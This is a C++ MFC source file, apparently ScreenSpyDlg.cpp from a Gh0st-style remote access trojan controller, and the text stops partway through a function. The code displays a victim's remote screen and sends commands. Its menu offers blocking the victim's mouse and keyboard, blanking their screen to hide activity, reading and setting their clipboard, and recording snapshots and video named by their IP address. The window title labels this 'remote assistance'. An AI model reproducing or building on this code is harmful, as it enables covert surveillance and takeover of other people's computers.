2024-06-23 17:36:53 +08:00

1084 lines
30 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// ScreenSpyDlg.cpp : implementation file
//
#include "stdafx.h"
#include "Client.h"
#include "ScreenSpyDlg.h"
#include "GroupDlg.h"
extern CString strHost;
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CScreenSpyDlg dialog
enum
{
IDM_CONTROL = 0x0010,
IDM_DISABLEAERO, // 禁用AERO特效
IDM_SEND_CTRL_ALT_DEL,
IDM_TRACE_CURSOR, // 跟踪显示远程鼠标
IDM_BLOCK_INPUT, // 锁定远程计算机输入
IDM_BLANK_SCREEN, // 黑屏
IDM_CAPTURE_LAYER, // 捕捉层
IDM_SAVEDIB, // 保存图片
IDM_SAVEAVI_S, // 保存录像
IDM_GET_CLIPBOARD, // 获取剪贴板
IDM_SET_CLIPBOARD, // 设置剪贴板
IDM_ALGORITHM_SCAN, // 隔行扫描算法
IDM_ALGORITHM_DIFF, // 差异比较算法
IDM_DEEP_1, // 屏幕色彩深度.....
IDM_DEEP_4_GRAY,
IDM_DEEP_4_COLOR,
IDM_DEEP_8_GRAY,
IDM_DEEP_8_COLOR,
IDM_DEEP_16,
IDM_DEEP_32
};
// 两种算法
#define ALGORITHM_SCAN 1 // 速度很快,但碎片太多
#define ALGORITHM_DIFF 2 // 速度很慢也占CPU但是数据量都是最小的
CScreenSpyDlg::CScreenSpyDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
: CDialog(CScreenSpyDlg::IDD, pParent)
{
//{{AFX_DATA_INIT(CScreenSpyDlg)
// NOTE: the ClassWizard will add member initialization here
//}}AFX_DATA_INIT
m_iocpServer = pIOCPServer;
m_pContext = pContext;
m_bIsFirst = true; // 如果是第一次打开对话框,显示提示等待信息
m_lpScreenDIB = NULL;
m_hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_SCREENSYP), IMAGE_ICON, 20, 20, 0);
sockaddr_in sockAddr;
memset(&sockAddr, 0, sizeof(sockAddr));
int nSockAddrLen = sizeof(sockAddr);
BOOL bResult = getpeername(m_pContext->m_Socket,(SOCKADDR*)&sockAddr, &nSockAddrLen);
m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
m_bIsCtrl = false; // 默认不控制
m_nCount = 0;
m_bCursorIndex = 1;
m_bOnClose = FALSE;
}
void CScreenSpyDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(CScreenSpyDlg)
// NOTE: the ClassWizard will add DDX and DDV calls here
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
//{{AFX_MSG_MAP(CScreenSpyDlg)
ON_WM_SYSCOMMAND()
ON_WM_SIZE()
ON_WM_CLOSE()
ON_WM_HSCROLL()
ON_WM_VSCROLL()
ON_WM_PAINT()
ON_MESSAGE(WM_GETMINMAXINFO, OnGetMiniMaxInfo)
ON_WM_TIMER()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CScreenSpyDlg message handlers
void CScreenSpyDlg::OnClose()
{
// TODO: Add your message handler code here and/or call default
closesocket(m_pContext->m_Socket);
if (!m_aviFile.IsEmpty())
{
KillTimer(132);
m_aviFile = _T("");
m_aviStream.Close();
}
::ReleaseDC(m_hWnd, m_hDC);
DeleteDC(m_hMemDC);
// DeleteDC(m_hMemDC);
DeleteObject(m_hFullBitmap);
if (m_lpbmi)
delete []m_lpbmi;
OutputDebugString(_T("m_lpbmi 已经释放\r\n"));
if (m_lpbmi_rect)
delete []m_lpbmi_rect;
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
m_bIsCtrl = false;
m_bOnClose = TRUE;
CDialog::OnClose();
}
void CScreenSpyDlg::OnReceiveComplete()
{
m_nCount++;
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FIRSTSCREEN:
DrawFirstScreen();
break;
case TOKEN_NEXTSCREEN:
if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
DrawNextScreenRect();
else
DrawNextScreenDiff();
break;
case TOKEN_BITMAPINFO:
ResetScreen();
break;
case TOKEN_CLIPBOARD_TEXT:
UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
TRACE(L"传输发生异常数据\r\n");
// 传输发生异常数据
return;
}
}
bool CScreenSpyDlg::SaveSnapshot()
{
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format(_T("_%Y-%m-%d_%H-%M-%S.bmp"));
CFileDialog dlg(FALSE, _T("bmp"), strFileName, OFN_OVERWRITEPROMPT, _T("位图文件(*.bmp)|*.bmp|"), this);
if(dlg.DoModal () != IDOK)
return false;
BITMAPFILEHEADER hdr;
LPBITMAPINFO lpbi = m_lpbmi;
CFile file;
if (!file.Open( dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
{
MessageBox(_T("文件保存失败"));
return false;
}
// BITMAPINFO大小
int nbmiSize = sizeof(BITMAPINFOHEADER) + (lpbi->bmiHeader.biBitCount > 16 ? 1 : (1 << lpbi->bmiHeader.biBitCount)) * sizeof(RGBQUAD);
// Fill in the fields of the file header
hdr.bfType = ((WORD) ('M' << 8) | 'B'); // is always "BM"
hdr.bfSize = lpbi->bmiHeader.biSizeImage + sizeof(hdr);
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;
hdr.bfOffBits = sizeof(hdr) + nbmiSize;
// Write the file header
file.Write(&hdr, sizeof(hdr));
file.Write(lpbi, nbmiSize);
// Write the DIB header and the bits
file.Write(m_lpScreenDIB, lpbi->bmiHeader.biSizeImage);
file.Close();
return true;
}
void CScreenSpyDlg::OnReceive()
{
if (m_pContext == NULL)
return;
CString str;
// str.Format(_T("\\\\%s %d * %d 第%d帧 %d%%"), m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight,
// m_nCount, m_pContext->m_nTransferProgress);
str.Format(_T("[%s - %s] 远程协助"), strHost,m_IPAddress);
SetWindowText(str);
}
void CScreenSpyDlg::SendResetScreen(int nBitCount)
{
m_nBitCount = nBitCount;
BYTE bBuff[2];
bBuff[0] = COMMAND_SCREEN_RESET;
bBuff[1] = m_nBitCount;
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
}
void CScreenSpyDlg::SendResetAlgorithm(UINT nAlgorithm)
{
BYTE bBuff[2];
bBuff[0] = COMMAND_ALGORITHM_RESET;
bBuff[1] = nAlgorithm;
m_iocpServer->Send(m_pContext, bBuff, sizeof(bBuff));
}
BOOL CScreenSpyDlg::OnInitDialog()
{
CDialog::OnInitDialog();
// Set the icon for this dialog. The framework does this automatically
// when the application's main window is not a dialog
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL)
{
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_CONTROL, _T("控制屏幕(&Y)"));
pSysMenu->AppendMenu(MF_STRING, IDM_DISABLEAERO, _T("禁用AREO特效(WIN7&Vista)(&E)"));
pSysMenu->AppendMenu(MF_STRING, IDM_SEND_CTRL_ALT_DEL, _T("发送Ctrl-Alt-Del(&K)"));
pSysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, _T("跟踪服务端鼠标(&T)"));
pSysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, _T("锁定服务端鼠标和键盘(&L)"));
pSysMenu->AppendMenu(MF_STRING, IDM_BLANK_SCREEN, _T("服务端黑屏(&B)"));
pSysMenu->AppendMenu(MF_STRING, IDM_CAPTURE_LAYER, _T("捕捉层(导致鼠标闪烁)(&L)"));
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, _T("保存快照(&S)"));
pSysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI_S, _T("保存录像(&A)"));
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, _T("获取剪贴板(&R)"));
pSysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, _T("设置剪贴板(&L)"));
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, _T("隔行扫描算法(&S)"));
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, _T("差异比较算法(&X)"));
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, _T("1 位黑白(&A)"));
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, _T("4 位灰度(&B)"));
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, _T("4 位彩色(&C)"));
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, _T("8 位灰度(&D)"));
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, _T("8 位彩色(&E)"));
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, _T("16位高彩(&F)"));
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, _T("32位真彩(&G)"));
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
}
// TODO: Add extra initialization here
CString str;
str.Format(_T("\\\\%s %d * %d"), m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
SetWindowText(str);
m_HScrollPos = 0;
m_VScrollPos = 0;
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
if (CursorInfo.hbmMask != NULL)
::DeleteObject(CursorInfo.hbmMask);
if (CursorInfo.hbmColor != NULL)
::DeleteObject(CursorInfo.hbmColor);
m_dwCursor_xHotspot = CursorInfo.xHotspot;
m_dwCursor_yHotspot = CursorInfo.yHotspot;
m_RemoteCursorPos.x = 0;
m_RemoteCursorPos.x = 0;
m_bIsTraceCursor = false;
// 初始化窗口大小结构
m_hDC = ::GetDC(m_hWnd);
m_hMemDC = CreateCompatibleDC(m_hDC);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);
SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
InitMMI();
SendNext();
return TRUE; // return TRUE unless you set the focus to a control
// EXCEPTION: OCX Property Pages should return FALSE
}
// void CScreenSpyDlg::FullScreen()
// {
// m_bIsFullScreen = !m_bIsFullScreen; // 设置全屏显示标志
// //一种更好的全屏显示
// LONG style = ::GetWindowLong(this->m_hWnd,GWL_STYLE);
// if(m_bIsFullScreen)//全屏显示
// {
// style &= ~(WS_DLGFRAME | WS_THICKFRAME);
// SetWindowLong(this->m_hWnd, GWL_STYLE, style);
// //this->ShowWindow(SW_SHOWMAXIMIZED);
// CRect rect;
// this->GetWindowRect(&rect);
// ::SetWindowPos(this->m_hWnd,HWND_NOTOPMOST,rect.left-1, rect.top-1, rect.right-rect.left + 3, rect.bottom-rect.top + 3, SWP_FRAMECHANGED);
// }
// else
// {
// style |= WS_DLGFRAME | WS_THICKFRAME;
// SetWindowLong(this->m_hWnd, GWL_STYLE, style);
// this->ShowWindow(SW_NORMAL);
// }
// }
void CScreenSpyDlg::ResetScreen()
{
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
if (m_lpbmi != NULL)
{
int nOldWidth = m_lpbmi->bmiHeader.biWidth;
int nOldHeight = m_lpbmi->bmiHeader.biHeight;
delete[] m_lpbmi;
delete[] m_lpbmi_rect;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
DeleteObject(m_hFullBitmap);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
InitMMI();
// 分辨率发生改变
if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
// 计算ClientRect与WindowRect的差距标题栏滚动条
rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right);
rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
MoveWindow(&rectWindow);
}
}
}
void CScreenSpyDlg::DrawFirstScreen()
{
m_bIsFirst = false;
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
PostMessage(WM_PAINT);
}
void CScreenSpyDlg::DrawNextScreenDiff()
{
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
POINT oldPoint;
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
// 鼠标移动了
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 屏幕是否变化
if (dwBytes > 0)
bIsReDraw = true;
__asm
{
mov ebx, [dwBytes]
mov esi, [lpNextScreen]
jmp CopyEnd
CopyNextBlock:
mov edi, [lpFirstScreen]
lodsd // 把lpNextScreen的第一个双字节放到eax中,就是DIB中改变区域的偏移
add edi, eax // lpFirstScreen偏移eax
lodsd // 把lpNextScreen的下一个双字节放到eax中, 就是改变区域的大小
mov ecx, eax
sub ebx, 8 // ebx 减去 两个dword
sub ebx, ecx // ebx 减去DIB数据的大小
rep movsb
CopyEnd:
cmp ebx, 0 // 是否写入完毕
jnz CopyNextBlock
}
if (bIsReDraw) PostMessage(WM_PAINT);
}
void CScreenSpyDlg::DrawNextScreenRect()
{
// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
// 保存上次鼠标所在的位置
RECT rectOldPoint;
::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y,
m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
//////////////////////////////////////////////////////////////////////////
// 判断鼠标是否移动
if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top !=
m_RemoteCursorPos.y))
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 判断鼠标所在区域是否发生变化
DWORD dwOffset = 0;
while (dwOffset < dwBytes && !bIsReDraw)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
RECT rectDest;
if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
bIsReDraw = true;
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
bIsReDraw = bIsReDraw && m_bIsTraceCursor;
//////////////////////////////////////////////////////////////////////////
dwOffset = 0;
while (dwOffset < dwBytes)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
// 不需要重绘鼠标的话,直接重绘变化的部分
if (!bIsReDraw)
StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
if (bIsReDraw)
PostMessage(WM_PAINT);
}
void CScreenSpyDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (!IsWindowVisible())
return;
RECT rect;
GetClientRect(&rect);
if ((rect.right + m_HScrollPos) > m_lpbmi->bmiHeader.biWidth)
InterlockedExchange((PLONG)&m_HScrollPos, m_lpbmi->bmiHeader.biWidth - rect.right);
if ((rect.bottom + m_VScrollPos) > m_lpbmi->bmiHeader.biHeight)
InterlockedExchange((PLONG)&m_VScrollPos, m_lpbmi->bmiHeader.biHeight - rect.bottom);
SetScrollPos(SB_HORZ, m_HScrollPos);
SetScrollPos(SB_VERT, m_VScrollPos);
if (rect.right >= m_lpbmi->bmiHeader.biWidth && rect.bottom >= m_lpbmi->bmiHeader.biHeight)
{
ShowScrollBar(SB_BOTH, false);
InterlockedExchange((PLONG)&m_HScrollPos, 0);
InterlockedExchange((PLONG)&m_VScrollPos, 0);
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
// 边框的宽度
int nBorderWidth = rectClient.left - rectWindow.left;
rectWindow.right = rectClient.left + nBorderWidth + m_lpbmi->bmiHeader.biWidth;
rectWindow.bottom = rectClient.top + m_lpbmi->bmiHeader.biHeight + nBorderWidth;
MoveWindow(&rectWindow);
}
else ShowScrollBar(SB_BOTH, true);
}
void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
switch (nID)
{
case IDM_CONTROL:
{
m_bIsCtrl = !m_bIsCtrl;
pSysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
if (m_bIsCtrl)
{
if (m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
}
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_NO));
}
break;
case IDM_DISABLEAERO:
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_DISABLEAERO, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_DISABLEAERO, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_DISABLE_AERO;
bToken[1] = bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_SEND_CTRL_ALT_DEL:
{
BYTE bToken = COMMAND_SCREEN_CTRL_ALT_DEL;
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
}
break;
case IDM_TRACE_CURSOR: // 跟踪服务端鼠标
{
m_bIsTraceCursor = !m_bIsTraceCursor;
pSysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
if (m_bIsCtrl)
{
if (!m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_hRemoteCursor);
else
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)AfxGetApp()->LoadCursor(IDC_DOT));
}
// 重绘消除或显示鼠标
PostMessage(WM_PAINT);
}
break;
case IDM_BLOCK_INPUT: // 锁定服务端鼠标和键盘
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLOCK_INPUT, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_BLOCK_INPUT, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_BLOCK_INPUT;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_BLANK_SCREEN: // 服务端黑屏
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_BLANK_SCREEN, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_BLANK_SCREEN, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_BLANK;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_CAPTURE_LAYER: // 捕捉层
{
bool bIsChecked = pSysMenu->GetMenuState(IDM_CAPTURE_LAYER, MF_BYCOMMAND) & MF_CHECKED;
pSysMenu->CheckMenuItem(IDM_CAPTURE_LAYER, bIsChecked ? MF_UNCHECKED : MF_CHECKED);
BYTE bToken[2];
bToken[0] = COMMAND_SCREEN_CAPTURE_LAYER;
bToken[1] = !bIsChecked;
m_iocpServer->Send(m_pContext, bToken, sizeof(bToken));
}
break;
case IDM_SAVEDIB:
SaveSnapshot();
break;
case IDM_SAVEAVI_S:
{
if (pSysMenu->GetMenuState(IDM_SAVEAVI_S, MF_BYCOMMAND) & MF_CHECKED)
{
KillTimer(132);
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_UNCHECKED);
m_aviFile = "";
m_aviStream.Close();
return;
}
if (m_lpbmi->bmiHeader.biBitCount == 4)
{
AfxMessageBox(_T("不支持四位颜色录像"));
return;
}
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format(_T("_%Y-%m-%d_%H-%M-%S.avi"));
CFileDialog dlg(FALSE, _T("avi"), strFileName, OFN_OVERWRITEPROMPT, _T("Video(*.avi)|*.avi|"), this);
if(dlg.DoModal () != IDOK)
return;
m_aviFile = dlg.GetPathName();
if (!m_aviStream.Open(m_hWnd,m_aviFile, m_lpbmi))
{
m_aviFile = _T("");
MessageBox(_T("视频生成(*.avi) 失败"));
}
else
{
::SetTimer(m_hWnd,132,250,NULL);
pSysMenu->CheckMenuItem(IDM_SAVEAVI_S, MF_CHECKED);
}
}
break;
case IDM_GET_CLIPBOARD: // 获取剪贴板
{
BYTE bToken = COMMAND_SCREEN_GET_CLIPBOARD;
m_iocpServer->Send(m_pContext, &bToken, sizeof(bToken));
}
break;
case IDM_SET_CLIPBOARD: // 设置剪贴板
{
SendLocalClipboard();
}
break;
case IDM_ALGORITHM_SCAN: // 隔行扫描算法
{
SendResetAlgorithm(ALGORITHM_SCAN);
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
}
break;
case IDM_ALGORITHM_DIFF: // 差异比较算法
{
SendResetAlgorithm(ALGORITHM_DIFF);
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_DIFF, MF_BYCOMMAND);
}
break;
case IDM_DEEP_1:
{
SendResetScreen(1);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_1, MF_BYCOMMAND);
}
break;
case IDM_DEEP_4_GRAY:
{
SendResetScreen(3);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_GRAY, MF_BYCOMMAND);
}
break;
case IDM_DEEP_4_COLOR:
{
SendResetScreen(4);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_4_COLOR, MF_BYCOMMAND);
}
break;
case IDM_DEEP_8_GRAY:
{
SendResetScreen(7);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_GRAY, MF_BYCOMMAND);
}
break;
case IDM_DEEP_8_COLOR:
{
SendResetScreen(8);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
}
break;
case IDM_DEEP_16:
{
SendResetScreen(16);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_1, IDM_DEEP_32, IDM_DEEP_16, MF_BYCOMMAND);
}
break;
case IDM_DEEP_32:
{
SendResetScreen(32);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_32, MF_BYCOMMAND);
}
break;
default:
CDialog::OnSysCommand(nID, lParam);
}
}
LRESULT CScreenSpyDlg::OnGetMiniMaxInfo(WPARAM wParam, LPARAM lparam)
{
// 如果m_MMI已经被赋值
if (m_MMI.ptMaxSize.x > 0)
memcpy((void *)lparam, &m_MMI, sizeof(MINMAXINFO));
return NULL;
}
void CScreenSpyDlg::DrawTipString(CString str)
{
RECT rect;
GetClientRect(&rect);
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
COLORREF oldbgcol = SetBkColor(m_hDC, bgcol);
COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
DrawText (m_hDC, str, -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
SetBkColor(m_hDC, oldbgcol);
SetTextColor(m_hDC, oldtxtcol);
/* InvalidateRect(NULL, FALSE);*/
}
void CScreenSpyDlg::InitMMI()
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
int nMinWidth = 400 + nWidthAdd;
int nMinHeight = 300 + nHeightAdd;
int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
// 最小的Track尺寸
m_MMI.ptMinTrackSize.x = nMinWidth;
m_MMI.ptMinTrackSize.y = nMinHeight;
// 最大化时窗口的位置
